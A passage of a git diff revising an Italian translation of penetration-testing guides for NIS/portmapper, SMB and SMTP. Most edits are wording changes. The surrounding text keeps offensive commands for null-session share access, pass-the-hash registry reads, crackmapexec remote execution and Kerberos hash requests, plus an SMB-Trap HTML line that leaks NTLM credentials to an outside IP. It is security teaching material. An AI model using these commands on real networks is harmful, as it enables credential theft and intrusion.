2049 - Pentesting NFS service](nfs-service-pentesting.md) per saperne di ## NIS -Esplorare le vulnerabilità **NIS** comporta un processo in due fasi, a partire dall'identificazione del servizio `ypbind`. La pietra miliare di questa esplorazione è scoprire il **nome di dominio NIS**, senza il quale i progressi si fermano. +Esplorare le vulnerabilità **NIS** comporta un processo in due fasi, a partire dall'identificazione del servizio `ypbind`. La pietra angolare di questa esplorazione è scoprire il **nome di dominio NIS**, senza il quale i progressi si fermano. ![](<../images/image (859).png>) @@ -54,8 +54,8 @@ ypcat –d –h passwd.byname | **Master file** | **Map(s)** | **Notes** | | ---------------- | --------------------------- | --------------------------------- | | /etc/hosts | hosts.byname, hosts.byaddr | Contiene nomi host e dettagli IP | -| /etc/passwd | passwd.byname, passwd.byuid | File password utente NIS | -| /etc/group | group.byname, group.bygid | File gruppo NIS | +| /etc/passwd | passwd.byname, passwd.byuid | File delle password utente NIS | +| /etc/group | group.byname, group.bygid | File dei gruppi NIS | | /usr/lib/aliases | mail.aliases | Dettagli sugli alias di posta | ## RPC Users @@ -64,7 +64,7 @@ Se trovi il servizio **rusersd** elencato in questo modo: ![](<../images/image (1041).png>) -Potresti enumerare gli utenti della macchina. Per sapere come, leggi [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). +Potresti enumerare gli utenti della macchina. Per sapere come leggi [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). ## Bypass Filtered Portmapper port @@ -90,7 +90,7 @@ Description: Notes for PortMapper Note: | Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively. -https://book.hacktricks.xyz/pentesting/pentesting-rpcbind +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html Entry_2: Name: rpc info diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 56469ffdf..b0e1786b1 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -8,9 +8,9 @@ Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo softwa ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -## Porta 445 +## Port 445 -Tecnicamente, la Porta 139 è riferita come ‘NBT over IP’, mentre la Porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche modernamente conosciuto come il **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicativo, SMB/CIFS è principalmente utilizzato per abilitare l'accesso condiviso a file, stampanti, porte seriali e facilitare varie forme di comunicazione tra nodi su una rete. +Tecnicamente, la porta 139 è riferita come ‘NBT over IP’, mentre la porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche modernamente conosciuto come il **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicativo, SMB/CIFS è principalmente utilizzato per abilitare l'accesso condiviso a file, stampanti, porte seriali e facilitare varie forme di comunicazione tra nodi su una rete. Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttamente su TCP/IP, eliminando la necessità di NetBIOS su TCP/IP, attraverso l'utilizzo della porta 445. Al contrario, su sistemi diversi, si osserva l'impiego della porta 139, indicando che SMB viene eseguito in congiunzione con NetBIOS su TCP/IP. ``` @@ -18,9 +18,9 @@ Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttame ``` ### SMB -Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo di Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB. +Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB. -Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in parte **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sui permessi degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Questi permessi possono essere assegnati a singoli utenti o gruppi, in base alle condivisioni, e sono distinti dai permessi locali impostati sul server. +Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in parte **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sulle autorizzazioni degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Queste autorizzazioni possono essere assegnate a singoli utenti o gruppi, in base alle condivisioni, e sono distinte dalle autorizzazioni locali impostate sul server. ### IPC$ Share @@ -149,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Enumerazione di LSARPC e SAMR rpcclient** +### **Enumerare LSARPC e SAMR rpcclient** {{#ref}} pentesting-smb/rpcclient-enumeration.md @@ -161,7 +161,7 @@ pentesting-smb/rpcclient-enumeration.md `xdg-open smb://cascade.htb/` -#### Nella finestra del browser di file (nautilus, thunar, ecc) +#### Nella finestra del file browser (nautilus, thunar, ecc) `smb://friendzone.htb/general/` @@ -217,7 +217,7 @@ Puoi provare a connetterti a esse utilizzando il seguente comando smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -o questo script (utilizzando una sessione nulla) +per questo script (utilizzando una sessione nulla) ```bash #/bin/bash @@ -267,7 +267,7 @@ compmgmt.msc ``` explorer.exe (grafico), inserisci `\\\` per vedere le condivisioni disponibili non nascoste. -### Montare una cartella condivisa +### Monta una cartella condivisa ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share @@ -310,10 +310,10 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali. +Specialmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali. > [!NOTE] -> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Lì puoi **trovare** molti diversi **script** batch, VBScript e PowerShell.\ +> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Lì puoi **trovare** molti diversi batch, VBScript e **script** PowerShell.\ > Dovresti **controllare** gli **script** al suo interno poiché potresti **trovare** informazioni sensibili come **password**. ## Leggi il Registro @@ -329,17 +329,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 La **configurazione predefinita di** un **server Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe avere alcune **configurazioni pericolose**: | **Impostazione** | **Descrizione** | -| --------------------------- | ------------------------------------------------------------------ | +| --------------------------- | ----------------------------------------------------------------- | | `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione attuale? | | `read only = no` | Vietare la creazione e la modifica di file? | | `writable = yes` | Consentire agli utenti di creare e modificare file? | | `guest ok = yes` | Consentire la connessione al servizio senza utilizzare una password? | | `enable privileges = yes` | Rispettare i privilegi assegnati a SID specifici? | -| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? | +| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? | | `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? | -| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? | -| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? | -| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? | +| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? | +| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? | +| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? | Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**. @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec può eseguire comandi **abusando** di qualsiasi **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci utilizzare con il parametro `--exec-method`: +crackmapexec può eseguire comandi **abusando** di qualsiasi **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il **metodo** **predefinito**. Puoi indicare quale opzione preferisci utilizzare con il parametro `--exec-method`: ```bash apt-get install crackmapexec @@ -428,12 +428,12 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## Attacco di relay SMB -Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **relevarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\ +Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **rilanciarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\ [**Ulteriori informazioni su questo attacco qui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -La libreria Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"` +La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"` Questo avviene con le funzioni: @@ -450,11 +450,11 @@ Che sono utilizzate da alcuni browser e strumenti (come Skype) ![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) -## Furto NTLM +## Furto di NTLM Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può provocare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](pentesting-smb.md#smb-relay-attack). -[Guarda: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[Vedi: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## Comandi automatici HackTricks ``` @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 6c8079265..9fa71a36a 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -18,7 +18,7 @@ Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttame ``` ### SMB -Il **Server Message Block (SMB)** protocollo, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB. +Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB. Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in parte **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sui permessi degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Questi permessi possono essere assegnati a singoli utenti o gruppi, in base alle condivisioni, e sono distinti dai permessi locali impostati sul server. @@ -161,7 +161,7 @@ rpcclient-enumeration.md `xdg-open smb://cascade.htb/` -#### Nella finestra del file browser (nautilus, thunar, ecc) +#### Nella finestra del browser di file (nautilus, thunar, ecc) `smb://friendzone.htb/general/` @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Enumerare manualmente le condivisioni di Windows e connettersi ad esse** -Potrebbe essere possibile che tu sia limitato nella visualizzazione di qualsiasi condivisione della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Questi possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto. +Potrebbe essere possibile che tu sia limitato nella visualizzazione delle condivisioni della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Questi possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto. I nomi di condivisione comuni per i target Windows sono @@ -267,7 +267,7 @@ compmgmt.msc ``` explorer.exe (grafico), inserisci `\\\` per vedere le condivisioni disponibili non nascoste. -### Monta una cartella condivisa +### Montare una cartella condivisa ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share @@ -329,7 +329,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 La **configurazione predefinita di** un **server Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe avere alcune **configurazioni pericolose**: | **Impostazione** | **Descrizione** | -| --------------------------- | ------------------------------------------------------------------ | +| --------------------------- | ----------------------------------------------------------------- | | `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione attuale? | | `read only = no` | Vietare la creazione e la modifica di file? | | `writable = yes` | Consentire agli utenti di creare e modificare file? | @@ -338,7 +338,7 @@ La **configurazione predefinita di** un **server Samba** si trova solitamente in | `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? | | `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? | | `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? | -| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? | +| `magic script = script.sh` | Quale script dovrebbe essere eseguito quando lo script viene chiuso? | | `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? | Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**. @@ -428,12 +428,12 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## Attacco di relay SMB -Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **rilanciarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\ +Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **relevarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\ [**Ulteriori informazioni su questo attacco qui.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"` +La libreria Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"` Questo avviene con le funzioni: @@ -450,11 +450,11 @@ Che sono utilizzate da alcuni browser e strumenti (come Skype) ![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## Furto di NTLM +## Furto NTLM -Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può provocare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](#smb-relay-attack). +Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può innescare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](#smb-relay-attack). -[Guarda: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[Vedi: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## Comandi automatici HackTricks ``` @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index e2a780a54..06e6d5b18 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -6,7 +6,7 @@ Il **Simple Mail Transfer Protocol (SMTP)** è un protocollo utilizzato all'interno della suite TCP/IP per l'**invio e la ricezione di e-mail**. A causa delle sue limitazioni nella gestione dei messaggi alla fine del destinatario, SMTP è spesso impiegato insieme a **POP3 o IMAP**. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente. -Nella pratica, è comune che i **programmi di posta elettronica** utilizzino **SMTP per inviare e-mail**, mentre utilizzano **POP3 o IMAP per riceverle**. Nei sistemi basati su Unix, **sendmail** si distingue come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail comprende un server POP3. Inoltre, **Microsoft Exchange** fornisce un server SMTP e offre l'opzione di includere il supporto POP3. +Nella pratica, è comune che i **programmi di posta elettronica** utilizzino **SMTP per inviare e-mail**, mentre utilizzano **POP3 o IMAP per riceverle**. Su sistemi basati su Unix, **sendmail** si distingue come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail comprende un server POP3. Inoltre, **Microsoft Exchange** fornisce un server SMTP e offre l'opzione di includere il supporto POP3. **Porta predefinita:** 25,465(ssl),587(ssl) ``` @@ -19,7 +19,7 @@ Se hai l'opportunità di **far inviare alla vittima un'email** (ad esempio trami Puoi anche ottenere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (perché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi NDN. -Dovresti anche cercare di **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\ +Dovresti anche provare a **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\ Dovresti inviare il file di test EICAR.\ Rilevare l'**AV** potrebbe consentirti di sfruttare **vulnerabilità note.** @@ -60,7 +60,7 @@ NTLM supported ``` Oppure **automatizza** questo con il plugin **nmap** `smtp-ntlm-info.nse` -### Nome del server interno - Divulgazione di informazioni +### Nome del server interno - Divulgazione delle informazioni Alcuni server SMTP completano automaticamente l'indirizzo di un mittente quando il comando "MAIL FROM" viene emesso senza un indirizzo completo, rivelando il suo nome interno: ``` @@ -83,7 +83,7 @@ MAIL FROM: me ``` ### Sniffing -Controlla se riesci a intercettare alcune password dai pacchetti sulla porta 25 +Controlla se riesci a sniffare alcune password dai pacchetti sulla porta 25 ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) @@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN Reports -**Rapporti di Notifica dello Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo era invalido inviando una **mail di ritorno**. Gli **header** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus). +**Rapporti di Notifica dello Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo era invalido inviando una **mail di ritorno**. Le **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus). ## [Commands](smtp-commands.md) @@ -247,15 +247,15 @@ Da [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti. | | A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà. | -| IP4 | Se il mittente è in un dato intervallo di indirizzi IPv4, corrisponde. | -| IP6 | Se il mittente è in un dato intervallo di indirizzi IPv6, corrisponde. | +| IP4 | Se il mittente è in un dato range di indirizzi IPv4, corrisponde. | +| IP6 | Se il mittente è in un dato range di indirizzi IPv6, corrisponde. | | MX | Se il nome di dominio ha un record MX che risolve nell'indirizzo del mittente, corrisponderà (cioè la posta proviene da uno dei server di posta in arrivo del dominio). | -| PTR | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio si risolve nell'indirizzo del client (DNS inverso confermato), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile. | -| EXISTS | Se il nome di dominio dato si risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui si risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. | -| INCLUDE | Riferisce alla politica di un altro dominio. Se la politica di quel dominio passa, questo meccanismo passa. Tuttavia, se la politica inclusa fallisce, l'elaborazione continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. | +| PTR | Se il nome di dominio (record PTR) per l'indirizzo del cliente è nel dominio dato e quel nome di dominio si risolve nell'indirizzo del cliente (DNS inverso confermato), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile. | +| EXISTS | Se il nome di dominio dato si risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui si risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. | +| INCLUDE | Riferisce alla politica di un altro dominio. Se la politica di quel dominio passa, questo meccanismo passa. Tuttavia, se la politica inclusa fallisce, l'elaborazione continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. | | REDIRECT |

Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.

La politica SPF del dominio indicato nel meccanismo di reindirizzamento sarà utilizzata.

| -È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un meccanismo corrisponde, significa che è consentito).\ +È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se qualsiasi meccanismo corrisponde, significa che è consentito).\ Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non affidabile (\~) o rifiutare (-) l'email.** #### Qualificatori @@ -264,7 +264,7 @@ Ogni meccanismo all'interno della politica può essere preceduto da uno dei quat - **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`. - **`?`**: Rappresenta un risultato NEUTRALE, trattato in modo simile a NONE (nessuna politica specifica). -- **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRAL e FAIL. Le email che soddisfano questo risultato vengono tipicamente accettate ma contrassegnate di conseguenza. +- **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRAL e FAIL. Le email che soddisfano questo risultato sono tipicamente accettate ma contrassegnate di conseguenza. - **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata. Nell'esempio seguente, viene illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF di diversi domini all'interno della prima politica SPF: @@ -286,15 +286,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non attendibile automaticamente**. +Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non affidabile automaticamente**. Per controllare lo SPF di un dominio puoi utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) -DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio. +DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento email esterni (MTA) attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio. -Ad esempio, per richiedere la chiave, il nome del dominio e il selettore sono essenziali. Questi possono essere trovati nell'intestazione della mail `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`. +Ad esempio, per richiedere la chiave, il nome del dominio e il selettore sono essenziali. Questi possono essere trovati nell'intestazione dell'email `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`. Un comando per recuperare queste informazioni potrebbe apparire così: ```bash @@ -320,18 +320,18 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` -#### Tag DMARC +#### DMARC tags -| Nome Tag | Scopo | Esempio | -| -------- | ------------------------------------------- | ------------------------------- | -| v | Versione del protocollo | v=DMARC1 | -| pct | Percentuale di messaggi soggetti a filtraggio | pct=20 | -| ruf | URI di reporting per rapporti forensi | ruf=mailto:authfail@example.com 